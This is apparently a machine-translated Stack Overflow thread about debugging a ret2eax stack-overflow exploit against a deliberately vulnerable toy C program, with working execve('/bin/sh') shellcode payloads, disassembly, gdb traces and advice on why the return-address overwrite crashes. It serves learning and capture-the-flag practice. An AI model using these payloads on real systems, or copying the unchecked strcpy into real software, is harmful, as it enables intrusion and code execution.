проблемы с ret2eax

У меня возникла проблема при попытке перезаписать сохраненный обратный адрес. Вот мой код:

  1 #include <stdio.h>
  2 #include <string.h>
  3 
  4 void foo(char *source)
  5 {
  6     char buf[64];
  8     printf("buf address: %p\n", buf);
  9     strcpy(buf, source);
 11 }
 12 int main(int argc, char **argv)
 13 {
 14     if(argc > 1)
 15         foo(argv[1]);
 16     else
 17         exit(0);
 18 
 19   return 0;
 20 }

Сначала с легкой и простой эксплуатацией:

./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x10\xe3\xff\xff\xff\x7f"'`
buf address: 0x7fffffffe310

-> порождает оболочку

Теперь без необходимости обращаться к printf, чтобы получить адрес моего шеллкода. Я хотел попробовать ret2eax.

Поэтому я нашел его адрес с помощью objdump:

00000000004004bc <call_gmon_start>:
  4004bc:   48 83 ec 08             sub    $0x8,%rsp
  4004c0:   48 8b 05 11 05 20 00    mov    0x200511(%rip),%rax        # 6009d8 <_DYNAMIC+0x1e0>
  4004c7:   48 85 c0                test   %rax,%rax
  4004ca:   74 02                   je     4004ce <call_gmon_start+0x12>
  4004cc:   ff d0                   callq  *%rax
  4004ce:   48 83 c4 08             add    $0x8,%rsp

Или здесь:

0000000000400570 <frame_dummy>:
  400570:   48 83 3d 78 02 20 00    cmpq   $0x0,0x200278(%rip)        # 6007f0 <__JCR_END__>
  400577:   00 
  400578:   74 1b                   je     400595 <frame_dummy+0x25>
  40057a:   b8 00 00 00 00          mov    $0x0,%eax
  40057f:   48 85 c0                test   %rax,%rax
  400582:   74 11                   je     400595 <frame_dummy+0x25>
  400584:   55                      push   %rbp
  400585:   bf f0 07 60 00          mov    $0x6007f0,%edi
  40058a:   48 89 e5                mov    %rsp,%rbp
  40058d:   ff d0                   callq  *%rax

Но когда я пишу:

./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x8d\x05\x40"'`

-> Я просто получаю ошибку сегментации, почему это так?

С gdb и точкой останова на retq в foo():

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe332 in ?? ()
(gdb) x/i $rip
=> 0x7fffffffe332:  sbb    (%rax),%al

Разборка foo() при необходимости:

   0x000000000040059c <+0>: push   %rbp
   0x000000000040059d <+1>: mov    %rsp,%rbp
   0x00000000004005a0 <+4>: sub    $0x50,%rsp
   0x00000000004005a4 <+8>: mov    %rdi,-0x48(%rbp)
   0x00000000004005a8 <+12>:    lea    -0x40(%rbp),%rax
   0x00000000004005ac <+16>:    mov    %rax,%rsi
   0x00000000004005af <+19>:    mov    $0x4006bc,%edi
   0x00000000004005b4 <+24>:    mov    $0x0,%eax
   0x00000000004005b9 <+29>:    callq  0x400460 <printf@plt>
   0x00000000004005be <+34>:    mov    -0x48(%rbp),%rdx
   0x00000000004005c2 <+38>:    lea    -0x40(%rbp),%rax
   0x00000000004005c6 <+42>:    mov    %rdx,%rsi
   0x00000000004005c9 <+45>:    mov    %rax,%rdi
   0x00000000004005cc <+48>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d1 <+53>:    leaveq 
=> 0x00000000004005d2 <+54>:    retq  

person user3102158    schedule 22.02.2014    source источник
comment
Ваша строка argv[1] больше 90 байт. Как вы думаете, это слишком много?   -  person Jerry_Y    schedule 23.02.2014
comment
Нет, buf находится в -0x50(%rbp) на дизассемблере. Поэтому мне нужно написать 88 символов, чтобы добраться до позиции обратного адреса. Доказательство: я могу создать шеллкод в своем первом примере. И тогда вы можете видеть, что я получаю segfault по адресу 0x40058d, который должен быть адресом инструкции callq *rax.   -  person user3102158    schedule 23.02.2014


Ответы (1)


Вы не вставили ассемблерный код для своей функции foo, но я предполагаю, что компилятор использовал локальную переменную в стеке для хранения значения ptr, и эта переменная оказалась над вашим массивом в области памяти, которую вы перезаписали. Все сводится к тому, что rax не будет содержать указатель на ваш код в буфере. Для справки, моя неоптимизированная сборка выглядит так:

   0x00000000004005c6 <+42>:    mov    -0x58(%rbp),%rdx
   0x00000000004005ca <+46>:    lea    -0x50(%rbp),%rax
   0x00000000004005ce <+50>:    mov    %rdx,%rsi
   0x00000000004005d1 <+53>:    mov    %rax,%rdi
   0x00000000004005d4 <+56>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d9 <+61>:    mov    -0x8(%rbp),%rax
   0x00000000004005dd <+65>:    leaveq
   0x00000000004005de <+66>:    retq

Как видите, buf находится в rbp-0x50, а ptr — в rbp-8, между массивом и обратным адресом. Поскольку strcpy возвращает аргумент назначения, вы можете изменить код C, чтобы вместо него выполнялось return strcpy(buf, source). Кроме того, включение оптимизации устраняет локальную переменную, тем самым устраняя проблему, но это не очень надежно.

Учитывая, что вы уже были в gdb, вы должны были проверить значение в rax во время сбоя, так как это почти единственная причина, которая могла объяснить сбой.

person Jester    schedule 22.02.2014
comment
Привет, да, ты прав. Я обновил свой пост. Если вы посмотрите на мой код выше, на этот раз я могу перейти к оператору frame_dummy: вызов *$rax, но затем я получаю это 0x00007fffffffe2f0 в ?? (). Это адрес моего буфера. Я проверил это, взломав перед strcpy и просмотрев $rax и $rdi. Теперь я не понимаю, почему он не выполняет шелл-код? - person user3102158; 23.02.2014
comment
В этот момент убедитесь, что ваш код действительно существует, выполнив x/i $rip, и что он сам по себе не дает сбоев. Также не забудьте пометить исполняемый файл стека (но это было необходимо и для первого метода, поэтому я предполагаю, что вы это поняли). - person Jester; 23.02.2014
comment
Это полный абсурд, я фактически попадаю в NOP SLED : (gdb) x/i $rip => 0x7fffffffe2f0: nop, но он не выполняет шеллкод. (Мой стек исполняемый: -z execstack) - person user3102158; 23.02.2014
comment
Вы вообще ошибаетесь? Или в чем проблема? stepi, который вы разместили, конечно, просто выполнит 1 инструкцию, а ?? просто означает, что gdb не знает, в какой функции вы находитесь. - person Jester; 23.02.2014
comment
Ой простите совсем забыл! Программа получила сигнал SIGSEGV, Ошибка сегментации. 0x00007fffffffe332 в ?? () (gdb) x/i $rip =› 0x7fffffffe332: sbb (%rax),%al - person user3102158; 23.02.2014
comment
Заявление отличается от того, когда я ввел первый NOP: x/i 0x7fffffffe332 0x7fffffffe332: shr $0x38,%rax - person user3102158; 23.02.2014
comment
Затем ваш код, по-видимому, перезаписывает себя в какой-то момент между запуском и ошибкой. Вы также не опубликовали сборку для своей полезной нагрузки. - person Jester; 23.02.2014
comment
вот откуда я взял шеллкод: turkeyland.net/projects/overflow/shell.php (это внизу страницы) - person user3102158; 23.02.2014
comment
давайте продолжим обсуждение в чате - person Jester; 23.02.2014
comment
Спасибо ! вы совершенно правы, но почему push фактически переполнил конец моего буфера, а не начало? Я полагаю, это должно быть так: [rsp]-> [nop+shellcode+callq *rax] [rbp] [rip] ... -> нижний адрес стека - person user3102158; 25.02.2014
comment
Когда RET выполняется, rsp уже указывает на обратный адрес, который вы обозначили с помощью [rip]. Кроме того, ваш код, конечно, уже перезаписал [rbp], чтобы перейти к [rip]. Наконец, стек растет вниз, поэтому в конце у вас должен быть более высокий адрес. - person Jester; 25.02.2014
comment
Хорошо, на удаленном компьютере для конкурса я попробовал эксплойт (x64 бит) и не могу найти способ полностью перезаписать обратный адрес, как в этом примере. Адрес, на который я хочу перейти, — 0x4004ed, а затем, когда я нажимаю оператор return. $rip равно: 0x7fff004004ed. Во-первых, как так получилось, что на моем компьютере у меня не было этой проблемы, и как я могу вводить байты NULL? - person user3102158; 26.02.2014
comment
Код такой: main (int argc, char *argv[]) { char buffer[64]; if (argc › 1) strcpy (буфер, argv[1]); вернуть 0; } - person user3102158; 26.02.2014